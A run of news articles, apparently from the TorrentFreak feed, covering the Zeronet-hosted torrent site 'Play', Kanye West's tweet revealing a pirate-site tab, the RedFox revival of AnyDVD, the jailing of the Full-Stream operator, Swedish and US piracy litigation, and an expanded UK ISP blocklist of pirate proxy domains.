<p><center><a href="media/85d6c35c.zeronet1.png" data-original-source="http://torrentfreak.com/images/zeronet1.png" rel="attachment wp-att-118636"><img src="media/85d6c35c.zeronet1.png" data-original-source="http://torrentfreak.com/images/zeronet1.png" alt="zeronet1" width="600" height="449" class="aligncenter size-full wp-image-118636" srcset="http://torrentfreak.com/images/zeronet1-200x150.png 200w, http://torrentfreak.com/images/zeronet1.png 600w" sizes="(max-width: 600px) 100vw, 600px"></a></center></p>
<p>A full explanation of how the system works can be found <a href="https://docs.google.com/presentation/d/1_2qK1IuOKJ51pgBvllZ9Yu7Au2l551t3XBgyTSvilew/pub?start=false&#038;loop=false&#038;delayms=3000#slide=id.g9a1cce9ee_8_21">here</a> but for those looking to jump in at the deep-end the process is very simple. Visit <a href="https://zeronet.io/">Zeronet.io</a> and follow the simple instructions and the whole thing is up and running in a couple of minutes.</p>
<p>Once Zeronet is launched (it appears in your chosen web browser), users are confronted not with a Google search box, but the Zeronet &#8216;homepage&#8217;.</p>
<p>Not only are Zeronet users viewing this website but they&#8217;re also hosting it too, so that when others join the network and ask for the page, they retrieve it from other Zeronet users. It functions in a similar way to sharing using BitTorrent, although as yet there is no &#8216;swarming&#8217; technology in place. In the image below, 96 other people are sharing the page.</p>
<p><center><a href="media/7864aa78.zeronet2.png" data-original-source="http://torrentfreak.com/images/zeronet2.png" rel="attachment wp-att-118638"><img src="media/7864aa78.zeronet2.png" data-original-source="http://torrentfreak.com/images/zeronet2.png" alt="zeronet2" width="600" height="430" class="aligncenter size-full wp-image-118638"></a></center></p>
<p>This piece isn&#8217;t intended to be a guide on using Zeronet, others can <a href="https://www.reddit.com/r/zeronet/">help there</a>. However, what piqued our interest is what appears to be the very first torrent site to appear on the Zeronet network. It&#8217;s not exactly clear how long &#8216;Play&#8217; has been in development but its existence has been made known in the past few hours.</p>
<p><center><a href="media/f783b3e2.zero-play1.png" data-original-source="http://torrentfreak.com/images/zero-play1.png" rel="attachment wp-att-118639"><img src="media/f783b3e2.zero-play1.png" data-original-source="http://torrentfreak.com/images/zero-play1.png" alt="zero-play1" width="600" height="358" class="aligncenter size-full wp-image-118639"></a></center></p>
<p>&#8216;Play&#8217; is accessed via a <a href="http://127.0.0.1:43110/1PLAYgDQboKojowD3kwdb3CtWmWaokXvfp">Zeronet URL</a> which only works if the Zeronet software is installed. Once on the site it is indistinguishable from any other similar site working on a central server. The site doesn&#8217;t offer a tracker (that would create new problems) but instead serves magnet links sourced from RARBG.</p>
<p>As one might expect, the site is the usual fare with the latest movies presented in varying qualities, along with YouTube trailer links where applicable. </p>
<p><center><a href="media/4d0db5e0.zero-play2.png" data-original-source="http://torrentfreak.com/images/zero-play2.png" rel="attachment wp-att-118641"><img src="media/4d0db5e0.zero-play2.png" data-original-source="http://torrentfreak.com/images/zero-play2.png" alt="zero-play2" width="600" height="409" class="aligncenter size-full wp-image-118641"></a></center></p>
<p>As a straightforward website &#8216;Play&#8217; wouldn&#8217;t get a mention here but the way it&#8217;s delivered to users is somewhat exciting, especially since this is what The Pirate Bay and indeed BitTorrent Inc.&#8217;s <a href="https://torrentfreak.com/beating-internet-censors-with-bittorrents-maelstrom-browser-150419/">Project Maelstrom</a> has been promising for some time. However, before users get too excited, there are some caveats.</p>
<p>While Zeronet sites won&#8217;t get taken down as long as someone is &#8216;seeding&#8217; them, the Zeronet website-serving network is not anonymous. That means that users&#8217; IP addresses are public unless they choose the Tor option or double up with a VPN. Additionally, torrent transfers function in an identical fashion to any other site and are just as public as they ever were.</p>
<p>From a legal perspective Zeronet itself has no issues but of course a site like Play infringes on copyright law just as any other similar site would, even if its operators can remain anonymous. Interestingly though, while someone, somewhere has created Play, its users (not a server company) are now effectively hosting it via their local machines. This raises questions of liability for torrent site hosting in the future.</p>
<p>Finally, Zeronet also offers users a one-click solution to site cloning. This sounds like it might be a real headache for copyright holders but it could also be an equally large headache for the Internet&#8217;s spam department. Time will tell how that will play out.</p>
<p>Zeronet&#8217;s homepage can be found <a href="https://zeronet.io/">here</a>.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118672
title: Pirate Bay Offers Tech Support to Pirating Kanye West
uri: Pirate-Bay-Offers-Tech-Support-to-Pirating-Kanye-West
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/dVyc48slizw/
content:
<p>A few days ago Kanye West released The Life of Pablo. The album subsequently ended up on <a href="https://torrentfreak.com/kanye-wests-the-life-of-pablo-piracy-160216/">various pirate sites</a> where it was quickly downloaded by hundreds of thousands of fans. </p>
<p>A lot of media attention has focused on The Pirate Bay, where it is still listed as the <a href="media/f54b49af.0SfZrCP.png" data-original-source="http://i.imgur.com/0SfZrCP.png">most popular music download</a> after two weeks, with thousands of people actively sharing the tracks.</p>
<p>Meanwhile, the news also reached Kanye West himself, who considered <a href="https://torrentfreak.com/kanye-west-declares-war-on-the-pirate-bay-160218/">taking legal action</a> against the notorious torrent site. While he would not be the first to try, <a href="https://twitter.com/kanyewest/status/704873833564659712">a tweet</a> posted a few hours ago made the whole situation a lot more ironic. </p>
<p><center><strong>Kanye&#8217;s tweet</strong><br></br></center><center><a href="https://twitter.com/kanyewest/status/704873833564659712" rel="attachment wp-att-118682"><img src="media/9720ba38.kanyetweet.jpg" data-original-source="http://torrentfreak.com/images/kanyetweet.jpg" alt="kanyetweet" width="600" height="360" class="alignnone size-full wp-image-118682"></a></center></p>
<p>At first sight little appears wrong with the tweet, which comes with an image showing a YouTube video of Sufjan Stevens&#8217; track &#8220;Death with Dignity.&#8221; However, taking a closer look at the other open tabs is quite revealing.</p>
<p>For example, the tab second to the left reads &#8220;&#8221;Pirate Bay Torrent Xfe..,&#8221; where the last part is likely a reference to Xfer Records. </p>
<p><center><strong><strong>Pirate What?</strong></strong><br></br></center><center><img src="media/202eff41.kanyepirate.jpg" data-original-source="http://torrentfreak.com/images/kanyepirate.jpg" alt="kanyepirate" width="600" height="310" class="alignnone size-full wp-image-118676"></center></p>
<p>The tab itself is not from The Pirate Bay website, which uses a different title structure, but comes from a site that uses the TPB brand. This <a href="http://www.pirate-baytorrent.com/">release blog</a>, which lists a pirated copy of Xfer Records synthesizer software Serum, seems to be a likely candidate.</p>
<p>This suspicion is supported by another open tab pointing towards <a href="http://www.musicradar.com/news/tech/the-50-best-vst-au-plugin-synths-in-the-world-today-621799">a Music Radar article</a> listing the best VST/AU plugins, where Serum comes out as one of the winners.</p>
<p>Finally, the &#8220;MediaDownloader&#8221; tab completes the pirate circle, as that would allow West to rip music from YouTube so it can be used together with the pirated software to create his next hit. </p>
<p>Kanye&#8217;s tweet is a painful mistake, and one that <a href="http://mashable.com/2016/03/01/kanye-pirate-bay/#aBQkiuI4bgqr">didn&#8217;t go unnoticed</a>. </p>
<p>DJ Deadmau5, who co-founded Xfer Records, saw the tweet and called out Kanye as <a href="https://twitter.com/deadmau5/status/704876167157907456">a dick</a>. Not much later he showed a bit more sympathy for Kanye&#8217;s circumstances, <a href="https://twitter.com/deadmau5/status/704878038937243648">calling for</a> a Kickstarter campaign to raise money for a legal copy of the software.</p>
<p><center><strong>Kanye Dick</strong><br></br></center><center><img src="media/d6bbd5ac.kanyedick.png" data-original-source="http://torrentfreak.com/images/kanyedick.png" alt="kanyedick" width="600" height="144" class="alignnone size-full wp-image-118688"></center></p>
<p>The Pirate Bay team, meanwhile, is quite amused by the whole episode and says it welcomes pirates from all different walks of life.</p>
<p>&#8220;If he runs into difficulty he should try the forum for technical help and support,&#8221; TPB staff member Spud17 informs TorrentFreak, noticing the shift from the earlier agressive stance.</p>
<p>&#8220;Makes me wonder just how skint he claims to be, perhaps he&#8217;s &#8216;slumming it&#8217; to try and regain some credibility,&#8221; Spud17 adds.</p>
<p>Of course, there&#8217;s a slim chance that Kanye is pulling off an elaborate prank, which would be a good one. If so, he managed to plug The Pirate Bay in the process, so it&#8217;s unlikely that he will take credit for it anytime soon.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118669
title: AnyDVD is Back But Don’t Call Us Pirates, Developer Says
uri: AnyDVD-is-Back-But-Don-t-Call-Us-Pirates-Developer-Says
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/qGu396LsIZY/
content:
<p><img src="media/ed830e1a.anydvdlogo.jpg" data-original-source="https://torrentfreak.com/images/anydvdlogo.jpg" width="250" height="250" class="alignright">After coming under pressure from decryption licensing outfit AACS LA, last week DVD and Blu-ray copy-protection circumvention company SlySoft <a href="https://torrentfreak.com/popular-blu-ray-ripper-shuts-down-following-legal-pressure-160224/">shutdown</a>.</p>
<p>It still hasn&#8217;t been made clear if studios including Warner Bros, Disney and technology partners Microsoft and Intel were behind the closure, but for now that&#8217;s the working assumption. Having SlySoft flagship product AnyDVD off the market would&#8217;ve been a huge feather in their collective caps.</p>
<p>But shutdowns of companies like SlySoft often prove troublesome and earlier this week the first signs of cracks in the closure began to show. With talk of a return under a new banner a hot topic, former developers openly discussed bringing AnyDVD and other products <a href="https://torrentfreak.com/anydvd-admins-developers-mull-comeback-160229/">back online</a>.</p>
<p>Making things more interesting was the revelation that SlySoft was not entirely based in Antigua but actually a decentralized operation with developers scattered in countries around the world. Developers who, it transpired, still had access to key SlySoft infrastructure and the will to reanimate the project. In the end, it didn&#8217;t take long.</p>
<p>Still sporting a familiar &#8216;fox&#8217; logo, yesterday a reborn &#8216;RedFox&#8217; rose from the ashes of SlySoft. Now hailing <a href="https://forum.redfox.bz/">from Belize</a> with at least some infrastructure in Latvia, the RedFox team delivered their first release &#8211; an update to AnyDVD, version 7.6.9.1.</p>
<p>&#8220;AnyDVD reborn! SlySoft is dead, long live RedFox!&#8221; declared the <a href="https://forum.redfox.bz/download/changes_anydvd.txt">changelog</a>.</p>
<p>&#8220;This is an intermediate release, so old customers can continue to use their existing AnyDVD license to watch their discs. This version can access the new RedFox Online Protection Database,&#8221; the group added.</p>
<p>Perhaps of most interest are the new features. In addition to some minor fixes and improvements, AnyDVD also supports new discs, a big first step for a product that just a week ago looked destined for the archives.</p>
<p>The release will only work if users already own a valid AnyDVD license, which suggests that RedFox have access to the old company&#8217;s licensing systems, another important step for keeping the business model moving forward. Additionally, old SlySoft products have also returned, including <a href="https://forum.redfox.bz/download/">CloneBD and CloneDVD</a>.</p>
<p>But while would-be pirates might find cause for celebration, not everyone in the new RedFox team welcomes being so closely associated with the practice. A developer identifying himself as &#8216;Peer&#8217; <a href="https://forum.redfox.bz/threads/a-few-thoughts-about-piracy.68374/">says</a> that comments made by release groups in an article <a href="https://torrentfreak.com/pirate-groups-fear-release-delays-after-anydvd-shutdown-160227/">published on TF</a> at the weekend left him feeling &#8220;depressed&#8221;.</p>
<p><a href="media/37b0c55f.redfox-logo.png" data-original-source="http://torrentfreak.com/images/redfox-logo.png" rel="attachment wp-att-118685"><img src="media/37b0c55f.redfox-logo.png" data-original-source="http://torrentfreak.com/images/redfox-logo.png" alt="redfox-logo" width="190" height="190" class="alignright size-full wp-image-118685"></a>&#8220;Pirates were never the intended audience. If SlySoft could have shaken them off, they would have. In fact &#8211; some people seem to think, that without piracy, SlySoft wouldn&#8217;t have existed,&#8221; Peer explains.</p>
<p>For those that primarily used SlySoft&#8217;s products for piracy (and the MPAA and AACS LA seem to think that&#8217;s a whole bunch of them) the assumption seems reasonable. However, Peer sees things somewhat differently.</p>
<p>&#8220;Pirates only made a very small percentage of the AnyDVD userbase. And &#8211; given that they are pirates, it&#8217;s a valid question whether they were even paying customers,&#8221; he says.</p>
<p>&#8220;AnyDVD was created out of the frustration of a few people, who got fed up with the unplayability (yes! that word is fitting!) of DVDs and later on Blu-ray discs. So, of course, SlySoft could have easily done without the pirates &#8211; and had they, SlySoft might even still exist.&#8221;</p>
<p>While one can see Peer&#8217;s point (and presuming for a moment we can easily interchange the terms &#8216;piracy&#8217; and &#8216;copyright infringement&#8217;), the fact that AnyDVD drilled a huge hole through the encryption efforts of AACS LA makes it a seriously infringing piece of software, if of course the trade groups and <a href="https://torrentfreak.com/slysoft-dvd-ripper-owner-found-guilty-in-criminal-action-140403/">courts</a> are to be believed. </p>
<p>So, one has to conclude that even without piracy SlySoft would&#8217;ve been in trouble, a point not lost on the developer.</p>
<p>&#8220;It&#8217;s not that the AACS-LA wouldn&#8217;t have gone to the same lengths trying &#8211; don&#8217;t mistake them to be fighting piracy, their goal is a more immediate one, which is to justify their existence,&#8221; Peer says.</p>
<p>&#8220;They have this huge money-making machine, collect fees for every [blu ray disc] ever being sold without having to really, well, do much (god, I wish I were the AACS-LA), while promising to protect the discs in return, which effectively doesn&#8217;t work &#8211; so they have no choice but to fight back.&#8221;</p>
<p>That fight includes taking down products like AnyDVD <a href="https://torrentfreak.com/u-s-court-extends-global-shutdown-of-dvd-ripping-software-150323/">and DVDFab</a>, both of  which are closely connected (whether the developers like it or not) with DRM circumvention and ultimately piracy.</p>
<p>&#8220;You can&#8217;t deny that [piracy] is hurting the movie industry. And you can&#8217;t deny that we were involuntarily helping piracy. Just like the glass cutter involuntarily helps burglary,&#8221; Peer says.</p>
<p>&#8220;So, sorry MPAA, AACS and all you people with the fancy acronyms &#8211; we can&#8217;t help you with the piracy, but since no one is helping us with [playing and backing up] movies, we&#8217;re picking up things ourselves.&#8221;</p>
<p>Nevertheless, the intentions of the RedFox team will have little bearing on how they are perceived by the MPAA and AACS LA. They will be seen as outlaws with no respect for the laws that the industry groups worked long and hard to have put in place. On that basis alone, this battle is far from over.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118727
title: French Arrest and Jail Operator of “Full-Stream” Pirate Site
uri: French-Arrest-and-Jail-Operator-of-Full-Stream-Pirate-Site
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/kzd_D0CIVb8/
content:
<p><img src="media/cba871ed.full-stream-logo.jpg" data-original-source="http://torrentfreak.com/images/full-stream-logo.jpg" alt="full-stream-logo" width="235" height="128" class="alignright size-full wp-image-118729">Founded in 2013, the streaming site Full-Stream has steadily worked itself to the top of the French piracy community. </p>
<p>With nearly 100,000 streams per day and over a million monthly visitors, it was one of the <a href="http://www.alexa.com/siteinfo/full-stream.org#trafficstats">150 most visited</a> websites in the country. </p>
<p>This changed last week, when an alleged operator of the site was arrested by local police. According to the prosecution office at d&#8217;Aix-en-Provence the 22-year-old man was subsequently <a href="http://www.midilibre.fr/2016/02/26/un-jeune-homme-incarcere-dans-une-affaire-de-streaming-illegal,1292311.php">jailed</a>.</p>
<p>The man reportedly admitted that he founded the site three years ago and it&#8217;s claimed that he profited substantially through advertisements. This revenue was <a href="http://www.zataz.com/films-streaming-full-stream/&#038;usg=ALkJrhhhtAuo4HrwQpgcTN-Zj1mLP1opvw#axzz41l8KpjL8">kept offshore</a> in a Hong Kong bank account. </p>
<p>The investigation into Full-Stream began in 2014 after the authorities received a complaint from the local entertainment industry group SACEM and the Association Against Audiovisual Piracy (ALPA). </p>
<p>According to the prosecution office the investigation found that the site offered pirated copies of 2,426 TV-series and 10,152 films. How much revenue the alleged operator made is still being researched. </p>
<p>Meanwhile, the prosecutor applauds the cooperation with the private industry groups which led to the arrest.  </p>
<p>&#8220;This is the first time in France that, in this legal framework, cooperation between investigators and agents SACEM and ALPA has lead to the arrest of suspects.&#8221;</p>
<p>A second man was also detained in Grenoble last week, but he was released after an interrogation. However, the authorities note that other persons may be indicted at a later stage. </p>
<p>On the official <a href="https://www.facebook.com/Full-StreamOrg-1528429760701745/?fref=nf">Facebook page</a> many people are mourning the loss of Full-Stream. Initially the Full-Stream.org and Full-Stream.me domains remained accessible, but at the time of writing these are offline as well. </p>
<p>The operator of the site will remain in prison for <a href="http://www.zataz.com/films-streaming-full-stream/&#038;usg=ALkJrhhhtAuo4HrwQpgcTN-Zj1mLP1opvw#axzz41l8KpjL8">at least four months</a> &#8220;because of his behavior and statements made ​​in court,&#8221; and he ultimately faces a prison sentence of up to five years.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118762
title: Sweden’s Supreme Court Asked to Decide Online Piracy Penalties
uri: Sweden-s-Supreme-Court-Asked-to-Decide-Online-Piracy-Penalties
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/4PYl8wN6v6Q/
content:
<p><a href="media/339209a8.jail.jpg" data-original-source="http://feed.torrentfreak.com/images/jail.jpg" rel="attachment wp-att-70302"><img src="media/9c39c603.jail.jpg" data-original-source="http://torrentfreak.com/images/jail.jpg" alt="jail" width="222" height="148" class="alignright size-full wp-image-70302"></a>It hardly needs to be said but entertainment industry companies see file-sharing as theft on a grand scale. They believe that millions &#8211; perhaps billions &#8211; of dollars have been lost as a result of people&#8217;s love of swapping movies, music and TV shows.</p>
<p>Equally, there are those that believe that the act of sharing is a friendly one that causes no damage and may even stimulate the uptake of legal products. To them, participating in or even running a sharing site is not a serious crime.</p>
<p>It&#8217;s a complex mix that courts have to wade through periodically in order to arrive at a decision in various cases. By now it&#8217;s clear that in the United States and Europe the act of distributing or assisting in distribution of copyrighted content without permission (outside the realms of fair use) is an offense. The big question is how those crimes should be punished by the courts.</p>
<p>Thanks to The Pirate Bay and dozens of similar sites, Sweden has had more than its fair share of sharing-related cases but one involving a relatively small site has the potential to draw an important line in the sand for those running &#8216;pirate&#8217; portals.</p>
<p>Originally known as Swepirate, &#8216;<a href="https://opentrackers.org/biosalongen-has-shut-down/">Biosalongen</a>&#8216; (Screening Room) was shutdown by authorities in early 2013. A 50-year-old man alleged to have been the main administrator of the site was arrested and charged with sharing at least 125 movies on the site including the classics Rocky, Alien and Star Trek.</p>
<p>The man initially denied committing any crimes but after a trial and subsequent appeal, in the summer of 2015 the Court of Appeal in Gothenburg sentenced him to eight months in prison for copyright infringement offenses.</p>
<p>The man, referred to in court papers as &#8216;BH&#8217;, feels that the punishment was unjust and has now filed a claim with the Supreme Court (HD) in order to have the indictment dismissed.</p>
<p>Interestingly the prosecutor also wants the case to be heard by the &#8216;<a href="http://www.hogstadomstolen.se/Funktioner/English/The-Swedish-courts/The-Supreme-Court/">Högsta domstolen</a>&#8216; but on the matter of appropriate sanctions.</p>
<p>&#8220;The courts judge differently in these cases. Some think the punishment should be prison, while others think that it is enough to hand out fines and suspended sentences,&#8221; Prosecutor My Hedström <a href="http://www.idg.se/2.1085/1.651677/hd-fildelning">told</a> IDG. </p>
<p>&#8220;There is legal uncertainty there. We want the Supreme Court to determine how to view this type of crime.&#8221;</p>
<p>When the case was heard at the Court of Appeal the offenses were categorized as carrying a maximum penalty of 12 months but not always likely to result in detention. Therefore a shorter sentence was handed down. The Prosecutor is looking for a longer term of ten months.</p>
<p>The Supreme Court has been asked to look at file-sharing penalties before. In<br>
2010 a then 25-year old a man was house-sitting for a friend when he was <a href="http://torrentfreak.com/worlds-unluckiest-bittorrent-pirate-fined-but-avoids-jail-120212/">confronted by police officers</a>. The police decided to inspect his computer and found that he was sharing 57 movies through uTorrent.</p>
<p>In the initial <a href="http://torrentfreak.com/worlds-unluckiest-bittorrent-pirate-fined-but-avoids-jail-120212/">court case</a> the man received a $920 fine but on appeal that <a href="http://torrentfreak.com/unlucky-file-sharer-receives-tougher-sentence-on-appeal-130508/">was increased</a> to around $1,200.</p>
<p>The case went <a href="https://torrentfreak.com/swedish-supreme-court-determines-movie-piracy-fines-141216/">all the way</a> to the Supreme Court but despite the case being described by a judge as &#8220;borderline&#8221;, a prison sentence was still not handed down, much to the disappointment of the prosecutor.</p>
<p>However, Prosecutor Hedström feels that the current case and the historical one are different, with the one in hand being much more serious and also involving a commercial element.</p>
<p>&#8220;[The earlier case] was on a lower level, it was about a person who downloaded while uploaded movies. The making available was not on the same level as this case,&#8221; Hedström says.</p>
<p>IDG reports that the Supreme Court received the Prosecutor&#8217;s application <em>(<a href="media/b354b1c9.am-2015-6665-pafoljd-for-fildelning.pdf" data-original-source="https://www.aklagare.se/globalassets/dokument/verksamheten-i-hogsta-domstolen/svarsskrivelser-och-forklaringar/am-2015-6665-pafoljd-for-fildelning.pdf">pdf</a>)</em> last Friday but it is not yet known whether leave to appeal will be granted.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118765
title: RIAA and Tech Giants Clash In Usenet Piracy Case
uri: RIAA-and-Tech-Giants-Clash-In-Usenet-Piracy-Case
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/Oe7o3QsFDiw/
content:
<p><img src="media/f26de7b6.pirate-clash-fight.jpg" data-original-source="http://torrentfreak.com/images/pirate-clash-fight.jpg" alt="pirate-clash-fight" width="250" height="188" class="alignright size-full wp-image-118800">Adult magazine publisher <a href="https://torrentfreak.com/tag/perfect-10/">Perfect 10</a> has made a business out of suing online services for allegedly facilitating copyright infringement.</p>
<p>Over the past several years the company has targeted a dozen high-profile companies including Google, Amazon, Yandex, MasterCard, Visa, Leaseweb, RapidShare, Depositfiles and Giganews.</p>
<p>Private settlements aside the legal campaigns haven&#8217;t been particularly successful for the publisher. Last year Perfect 10 lost another battle against <a href="http://www.giganews.com/">Giganews</a>, with the court ordering the company to <a href="https://torrentfreak.com/perfect-10-ordered-to-pay-giganews-5-6m-after-failed-copyright-battle-150325/">pay $5.6 million</a> in legal fees.</p>
<p>This case is now on appeal where it has attracted the attention of several major players, including the RIAA. The music industry group has joined Perfect 10 and argues that Giganews should be held responsible for its infringing activities. </p>
<p>In a brief submitted to the court the RIAA notes that, unlike several decades ago, Usenet is no longer a neutral means to share files. Instead, it&#8217;s populated by many &#8220;shady&#8221; companies who intentionally sell access to pirated content. </p>
<p>&#8220;Shady companies now use the Usenet network to copy copyrighted movies, music, software, and images from servers known to host pirated content; store those works on their own servers for extended periods of time to maximize the availability of the infringing content; and then distribute those pirated copies to their users,&#8221; the RIAA writes. </p>
<p>&#8220;These companies profit handsomely by charging their users monthly fees for private access to this unauthorized content – fees that increase based on the amount of content users download,&#8221; the add.  </p>
<p>The RIAA goes on to cite a study which suggests that an overwhelming majority of the audio files shared through Giganews are likely to be copyright infringing. </p>
<p><center><img src="media/49471d52.giganews.jpg" data-original-source="http://torrentfreak.com/images/giganews.jpg" alt="giganews" width="600" height="410" class="alignnone size-full wp-image-118795"></center></p>
<p>The appeal has also introduced a dispute over the &#8220;volitional conduct rule,&#8221; which prescribes that Internet services can only be held directly liable if they also control the decision to copy pirated works. </p>
<p>Among other things the RIAA argues that this rule shouldn&#8217;t apply in the current case because it&#8217;s widely criticized and questioned by other courts, most recently by the Supreme Court in the Aereo case.</p>
<p>However, this stance is fiercely opposed by several digital rights groups including The Internet Association, the Computer &#038; Communications Industry Association (CCIA), the EFF and Public Knowledge.</p>
<p>In two separate amicus curiae briefs submitted to the court this week, they urge the Court of Appeals not to reverse the District Court decision, as that may be disastrous for a free and open Internet. </p>
<p>When Internet services face direct liability, they may be inclined to block legitimate content or prevent content being posted, just to avoid legal issues, they argue.</p>
<p>&#8220;If an intermediary faces the possibility of potentially unlimited legal liability for content hosted, transmitted, or disseminated through its services by a small minority of users, it will feel compelled to scrutinize and limit all user activities,&#8221; the brief filed by EFF and Public Knowledge (<a href="media/f9ce6a26.eff-giga-brief.pdf" data-original-source="http://torrentfreak.com/images/eff-giga-brief.pdf">pdf</a>) reads.</p>
<p>&#8220;This is likely to lead to over-blocking, sacrificing lawful content in an effort to limit potential litigation. The strong incentive to over-block can cause particular harm to free speech where, as here, intermediaries often are not able to easily determine if the content is unlawful on its face,&#8221; the groups add.</p>
<p>The Internet Association and the CCIA, which includes prominent members such as Google, Facebook and Microsoft, agree (<a href="media/f9ce6a26.eff-giga-brief.pdf" data-original-source="http://torrentfreak.com/images/eff-giga-brief.pdf">pdf</a>) that scrapping the volitional conduct rule &#8220;would chill legitimate speech.&#8221;</p>
<p>According to the RIAA, however, it&#8217;s clear that Giganews profits from piracy and a ruling supporting this wouldn&#8217;t threaten the future of the Internet. </p>
<p>&#8220;This case simply involves defendants who utilize the Usenet to profit from piracy by selling access to infringing content from private servers that they control,&#8221; RIAA writes. </p>
<p>&#8220;Unlike legitimate service providers involved in the early Usenet cases, the defendants here are committing blatant copyright infringement. Recognizing this fact does not undermine in any way the operation of the open Internet,&#8221; they add. </p>
<p>It is now up to the court to weigh up the arguments from both sides.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118768
title: UK Internet Providers Expand Pirate Site Blockades
uri: UK-Internet-Providers-Expand-Pirate-Site-Blockades
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/QBk2OzOuLsE/
content:
<p><img src="media/07db73b3.stop-blocked.jpg" data-original-source="http://torrentfreak.com/images/stop-blocked.jpg" alt="stop-blocked" width="200" height="168" class="alignright size-full wp-image-72076">After a series of High Court orders obtained since 2012, six of the UK’s major ISPs are required to block access to dozens of the world’s most popular ‘pirate’ sites.</p>
<p>Over the past several years the number of blocked domains has expanded to well over 1,000, with popular torrent sites such as The Pirate Bay and KickassTorrents being the main targets.</p>
<p>The blocks are somewhat effective, at least in preventing subscribers from accessing the domains directly. However, there are plenty of alternative routes people can use instead, including many reverse proxies.</p>
<p>To remedy the situation the High Court permits copyright holders to expand the blocklists with new domains, provided that they are alternative ways to reach already blocked websites. </p>
<p>This week more than 80 pirate (sub)domains were added, including several proxies for popular torrent sites including The Pirate Bay, KickassTorrents, ExtraTorrent and BitSnoop.</p>
<p>More than a dozen of these new additions are subdomains of the proxy portal unblocked.li, which allows UK visitors to bypass the blocking restrictions and visit their favorite pirate sites. </p>
<p>In recent months unblocked.li has gained a steady user-base and it is currently among the 150 most-visited domain names in the UK.</p>
<p><center><strong>Unblocked.li</strong><br></br></center><center><img src="media/a1dc492e.unblockedli.jpg" data-original-source="http://torrentfreak.com/images/unblockedli.jpg" alt="unblockedli" width="600" height="627" class="alignnone size-full wp-image-118830"></center></p>
<p>Considering the nature of the site, the proxy portal is not going to surrender easily. Indeed, TorrentFreak has learned that the new blockade is seen as only a minor and temporary inconvenience.</p>
<p>&#8220;We have several domains ready in case unblocked.li is blocked,&#8221; the operator of Unblocked.li says.  </p>
<p>&#8220;We will launch a new domain once we receive enough complaints of the site not loading or showing blocked.  It&#8217;s a pretty simple task now since we have automated the migration to new domains with scripts and APIs,&#8221; he adds.</p>
<p>At the time of writing the Unblocked site has already switched over to the new unblocked.red domain, and others will likely follow, repeating the same steps in a few months.</p>
<p>And so the whack-a-mole continues, with copyright holders adding new domains to the blocklists, and site owners hopping from domain to domain.</p>
<p>&#8212;-</p>
<p><em>Below is the full list of newly blocked (sub)domains as reported by one of ISPs.</em></p>
<p>http://1337x.unblocked.li<br>
http://1337x.unblocked2.bz<br>
http://1337x.unblockme.co<br>
http://ahoy.re<br>
http://beemp3.unblocked.li<br>
http://bitsnoop.unblocked.li<br>
http://bittorrent.so<br>
http://emp3world.unblocked.li<br>
http://extratorrent.date<br>
http://extratorrent.unblocked.li<br>
http://extratorrent.unblockme.co<br>
http://fullsongs.science<br>
http://kat.asia<br>
http://kattorrents.co<br>
http://kickass.ac<br>
http://kickass.ag<br>
http://kickass.lv<br>
http://kickass.unblocked.li<br>
http://kickasstorrent.proxy-index.com<br>
http://kickasstorrentsso.com<br>
http://limetorrents.space<br>
http://limtorrents.com<br>
http://mp3bear.tv<br>
http://mp3boo.cc<br>
http://mp3clan.be<br>
http://mp3clan.in<br>
http://mp3clan.media<br>
http://mp3clan.rocks<br>
http://mp3clan.ws<br>
http://mp3skull.ren<br>
http://mp3skull.unblocked.li<br>
http://mp3skull.us<br>
http://mp3skull.yoga<br>
http://newalbumreleases.unblocked.li<br>
http://piratebay.co.in<br>
http://pirateproxy.pw<br>
http://proxy-index.com<br>
http://seedpeer.unblocked.li<br>
http://stafaband.bid<br>
http://stafaband.online<br>
http://stafaband.uk<br>
http://thepairatebay.link<br>
http://thepiratebay.ae<br>
http://thepiratebay.al<br>
http://thepiratebay.bid<br>
http://thepiratebay.rs<br>
http://thepiratebay.tech<br>
http://torlock.unblocked.li<br>
http://torrentbit.unblocked.li<br>
http://torrentdownloads.to<br>
http://torrenthound.site<br>
http://torrenthound.unblocked.li<br>
http://torrentreactor.unblocked.li<br>
http://tpb.immunicity.info<br>
http://ukpirate.org<br>
http://vitorrentz.tv<br>
http://www.bittorrent.so<br>
http://www.extratorrent.date<br>
